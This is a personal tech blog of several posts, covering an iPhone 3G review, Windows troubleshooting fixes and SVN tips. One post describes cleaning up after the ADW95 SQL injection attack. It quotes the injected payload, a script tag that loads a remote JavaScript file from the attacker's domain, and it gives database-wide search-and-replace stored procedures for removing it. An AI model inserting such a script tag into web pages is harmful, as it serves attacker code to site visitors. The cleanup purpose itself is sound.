I’ve had the iPhone 3G for a week now, and despite a rocky start, I’m fallen in love with the device. First the bad parts…
iTunes sucks, really. Getting it to install on Windows XP x64 requires jumping through several hoops. Apple makes this even harder by trying to be too smart on the download page and only allowing you to download the version they autodetect – so you can’t even download the x64 version if they don’t automatically detect that you’re using an x64 OS.
Once iTunes is installed (on x64), there’s an annoying dialog box which pops up every time you launch the application, complaining about a problem with the CD ripping functionality, though this can be fixed by copying some drivers to a different location on the hard drive.
The first thing I did after hooking up the phone was attempt to update the firmware to 2.0.2 (the phone came with 2.0.1). After installing the update, the phone reboots and Windows was unable to recognize it. Attempting to manually set the driver resulted in no progress, and the phone was stuck displaying an image of a USB cable and iTunes on the screen.
Eventually, I had to resort to installing iTunes on a Vista x32 machine. Plugging in the iPhone and loading up iTunes allowed the firmware update to complete and get the phone back to a working state.
If you’re using XP x64, be careful. Without an x32 machine to hand to sort out the firmware update, I’d probably be in trouble and have a useless phone. In a virtual machine, windows wouldn’t even recognize the iPhone being plugged in, so that may not be an option either to get things working.
I’m generally not an iTunes fan, and haven’t used it in years, instead opting to use MediaMonkey to manage my iPod. Unfortunately, it’s not compatible with the iPhone (yet).
There’s also various other companies out there offering software to copy content to/from apple devices. Both Imtoo and Xilisoft offer such software, though these are not yet compatible with the iPhone 3G and will corrupt the device. Unfortunately, this information isn’t on their website and I ended up bricking my iPhone requiring a full reset. They are working on an update, so hopefully we’ll see something from them soon.
The battery life is also a little on the weak side, though I’ve found it’s greatly increased once push email and 3G are turned off. I’ve been using EDGE for the past few days and it’s perfectly usable for most tasks. Turning on 3G and WiFi is relatively easy and can be done when carrying out more data-intensive tasks like downloading apps, surfing the web for prolonged periods of time, etc.
Apple have also crippled some of the features. Unlike other phones, the iPhone doesn’t allow mp3’s to be used as ringtones, and there are some more hoops to jump through to get these working. Typically, this involves importing the audio into iTunes, limiting to 30 seconds, converting to AAC, browsing to the file in Windows Explorer, changing the file extension, and importing the new file into iTunes as a ringtone. Hopefully we’ll see some third-party software to streamline this process a little more and reduce the number of steps required to do this.
The Bluetooth functionality is also screwed up, with the only profile supported being the one for headset use. This means you can’t send contacts, pictures, audio, etc from your old phone or any other phone to your iPhone. If you’re not using any kind of PC synchronization and have a lot of contacts, you’ll need to do this if you want to avoid wasting a lot of time re-entering all of your contacts manually.
(There’s a free app and service called Funambol which allows you to sync your contacts over the air, if you don’t want to sync using iTunes).
Hopefully Apple will fix this in a future update, as it’s a software restriction rather than a hardware one, but I wouldn’t bet on it. Apple are notorious for locking down their devices, and this seems like a brute-force method to force people to use iTunes for everything.
I’m against Apple’s methods to force users into the iTunes ecosystem, and look forward to Google Android. As Fred Wilson says:
Android powered phones, like T-Mobile’s Dream, are really mind boggling to me. When you can put any software on them you want, when you can hack the phone, when you can connect it to any carrier, when you can connect to any other device, the potential for the mobile phone/computer is limitless. I think the iPhone pales in comparison to the disruptive potential of Android powered phones.
But back to the iPhone… despite all of these negatives, it’s still a fantastic device and a pleasure to use. It’s probably the most advanced mobile phone (if you can even call it that) I’ve ever used and sets a new standard.
The variety of third-party applications available is also fantastic, and adds tons of features to the phone that would otherwise be unavailable. I’m personally using 30+ apps and am very impressed with the quality.
The interface and on-screen keyboard takes some getting used to, but gets easier after a few days. I’m still not as fast on the iPhone keyboard as I was using that of the T-Mobile Dash, but given time, I’m sure I’ll get close.
I’ve also got the Invisible Shield from Zagg. This is a bit more awkward to install than the videos would indicate, but it’s definitely worth getting the screen coverage as a minimum. I’ve got the full body kit, and there’s still a few air bubbles on the back, but it’s better than getting scratches on the device. I’m still waiting for my CapsuleRebel case to be delivered, which should offer complete full body protection on conjuction with the Invisible Shield.
A couple of days ago, Google launched their new browser, Chrome. They also released a comic explaining a lot of the logic behind the new browser and how it’s different from others.
Although I managed to install it on my XP x64 machine, the browser was too unstable to use. Browsing was fine, but any attempt to do anything other than browsing – such as bookmarking a website, viewing the options dialog box, etc - would cause the browser to completely crash.
After uninstalling, any attempt to re-install now results in an error, and installation halts.
Like various other applications (iTunes, I’m looking at you), it seems like Chrome wasn’t tested on XP x64 and simply isn’t compatible with this version of Windows. Hopefully Google will address this issue soon, as it looked promising and felt a lot faster in the brief period that I managed to use it. Can’t see it replacing my primary browser, which is still Firefox 2, but with ajax-heavy applications like Gmail being significantly faster in Chrome, there could be some benefit in using it for these types of web apps.
Ca Phun has a little more info on Google Chrome.
This is amusing. Apparently, there are some developers using PHP who want to use the ASPX extension instead to make their applications look more ‘enterprisey’.
[Via Mike Borozdin’s Blog]
A couple of useful SVN things which helped me out today.
If you need to remove SVN folders, John Galloway has a good registry hack to add an item to the Windows context menu to do this using the command line. Quick and painless, and should be part of TortoiseSVN!
Alternatively, you can just download the reg file directly.
The other thing I came across is the TortoiseSVN global ignore pattern on Donn Felker’s blog. Useful for ensuring that your source control doesn’t get filled up with files that don’t need to be in there.
I’ve been having some problems with Windows Update not working properly, but not returning any error messages. The scan would start, stay at 0% for a few seconds, and then display the message ‘Windows Update has encountered an error and cannot display the requested page.’
After spending a couple of hours looking for a solution and trying lots of different things, including clearing cache, deleting some system folders, deleting some system files, stopping and restarting services, etc, I came across a forum post suggesting re-installing the Windows Update Agent.
This solved the problem!
I’ve had similar issues on other machines in the past, with Windows Update not working, though the updates would download fine; they just wouldn’t install. Re-installing the Windows Update Agent on these machines also fixed these issues.
If you’re having any issues with Windows Update, the first thing to try is re-installing this as it seems to fix a lot of the issues.
Download it here:
http://go.microsoft.com/fwlink/?LinkId=43264 (x86)
http://go.microsoft.com/fwlink/?LinkId=43265 (x64)
Once downloaded, run the following command:
WindowsUpdateAgent20-x86.exe /wuforce
Reinstallation takes a couple of minutes, after which you should be able to run Windows Update again without any problems.
A couple of months ago, the cordless mouse in my 18 month Logitech Desktop MX3000 set finally got to me with it’s broken clicker, and a quick call to Logitech sorted it out.
Customer service was excellent. The call took about 5 minutes, got an RMA number, sent off the damaged mouse and receiver, and a week later I had a brand new MX3200 cordless desktop to replace the now-obsolete MX3000.
I’m generally a fan of Logitech products, but don’t know what the deal is with all of these fancy media buttons on their newer keyboards, which seems to be getting worse with each model. My first frustration was with the resized F keys (which are used quite a lot in VS.NET for shortcuts, etc), though this isn’t too bad once you get used to it.
But the most annoying feature had to be the zoom bar on the left hand side of the keyboard:

As some other reviewers on Amazon.com have noted (though many don’t agree), this feature can be easily activated, and cause your browser text to quickly size up to a ridiculously large font-size through a misplaced finger during random browsing. After find nothing searching through Logitech setpoint for a way to disable this feature, and no useful information Googling for answers, there turned out to be a much simpler solution:

That’s right, covering the annoying zoom bar using a piece of paper (or in this case, an old receipt) and some sticky tape.
Sometimes the quickest and easiest solution really is a low-tech one (though perhaps it doesn’t look the best!)
About a week ago, my Windows XP Pro x64 machine randomly stopped allowing network access to file shares. The guest account was enabled, but any access to \\machinename from other machines on the network showed the following error:
Logon Failure: the user has not been granted the requested logon type
The quickest solution for this was to do the following:
- Go to start – settings - control panel - administrative tools
- Go to Local Security Policy
- Expand the Local Policies node
- Expand the User Rights Assignment node
- Double click on the Deny access to this computer from the network node in the right hand pane
- Click on Guest in the properties window that opens up
- Click Remove
- Click OK
Not sure why this randomly stopped working, but all seems well now.
Recently, a client’s website got affected by the ADW95.com SQL injection attack, which is also known as Banner82 or Direct84. This exploit seems to modify the database, and add the following (or something similar) to all text fields of all tables in the database:
<script src=http://www.adw95.com/b.js></script>
However, it seems somewhat random, with some tables seemingly fine, and others affected. In many cases, it actually gets appended several times, and often becomes an invalid tag, like something below:
<scr<scriptsrc=http://adw95.com/b.js></sc</script>
This seems like a common explot; searching Google for adw95/b.js returns 248,000 results, with all the sites looking like they have been hit with this.
There’s a great post by John Forsythe, who was hit with the same exploit, detailing how he got rid of this foreign text. The primary tools for cleaning up are a couple of very useful stored procedures for finding and finding and replacing strings across all fields in a database. I’ve included these below:
Finding text in all fields in all tables:
CREATE PROC SearchAllTables
(
@SearchStr nvarchar(100)
)
AS
BEGIN
-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string
-- Written by: Narayana Vyas Kondreddi
-- Site: http://vyaskn.tripod.com
-- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 28th July 2002 22:50 GMT
CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
SET NOCOUNT ON
DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
AND OBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)
WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2)
AND TABLE_NAME = PARSENAME(@TableName, 1)
AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
AND QUOTENAME(COLUMN_NAME) > @ColumnName
)
IF @ColumnName IS NOT NULL
BEGIN
INSERT INTO #Results
EXEC
(
'SELECT ' + @TableName + '.' + @ColumnName + ', LEFT(' + @ColumnName + ', 3630)
FROM ' + @TableName + ' (NOLOCK) ' +
' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
)
END
END
END
SELECT ColumnName, ColumnValue FROM #Results
END
Find and replace text in all fields in all tables:
CREATE PROC SearchAndReplace
(
@SearchStr nvarchar(100),
@ReplaceStr nvarchar(100)
)
AS
BEGIN
-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string and replace it with another string
-- Written by: Narayana Vyas Kondreddi
-- Site: http://vyaskn.tripod.com
-- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 2nd November 2002 13:50 GMT
SET NOCOUNT ON
DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
SET @RCTR = 0
WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
AND OBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)
WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2)
AND TABLE_NAME = PARSENAME(@TableName, 1)
AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
AND QUOTENAME(COLUMN_NAME) > @ColumnName
)
IF @ColumnName IS NOT NULL
BEGIN
SET @SQL= 'UPDATE ' + @TableName +
' SET ' + @ColumnName
+ ' = REPLACE(' + @ColumnName + ', '
+ QUOTENAME(@SearchStr, ') + ', ' + QUOTENAME(@ReplaceStr, ') +
') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
EXEC (@SQL)
SET @RCTR = @RCTR + @@ROWCOUNT
END
END
END
SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END
To clean up the mess, first execute the following to find all of the injected text:
EXEC SearchAllTables ‘<script’
This will return a table of all field names and their values containing the specified text. You’ll then need to run the SearchAndReplace stored procedure for each instance of the foreign text. In my case, I had about 200 affected rows and had to run the stored procedure about 25 times to get rid of all of them.
It’s likely that some data will also be corrupted both by exploit and during the cleanup process, and may not be recoverable.
ZDNet has more information about this exploit in the article, Fast-Fluxing SQL injection attacks executed from the Asprox botnet.
If you’re tired of using Lorem Ipsum as filler text, check out this filler text generator. It’s got lorem ipsum, English, jabberwock and tagalog. You can also choose the number of paragraphs and the paragraph length. Useful stuff.

[Via Contract Worker]
Came across this excellent SQL Server Management Studio add-in, which has some cool fuzzy search technology for quickly finding objects.

I’ve been using this sp_grep script for searching databases, and having a visual tool now that can do this a lot more convenient. The sp_grep script also searches stored procedure text, table columns, etc so it’s a bit more powerful, though Joseph Coony offers the source code for this add-in on his blog if you want to modify this add-on to extend its search capabilities.
Found out about this from SecretGeek, who points out that the search technology is by an Australian Micro-ISV called ShuffleText. As Leon says:
At their blog you will find an incredible, epic and very honest post about building a micro isv
He’s right - the blog entry is excellent reading. Check it out at The birth of a Micro ISV.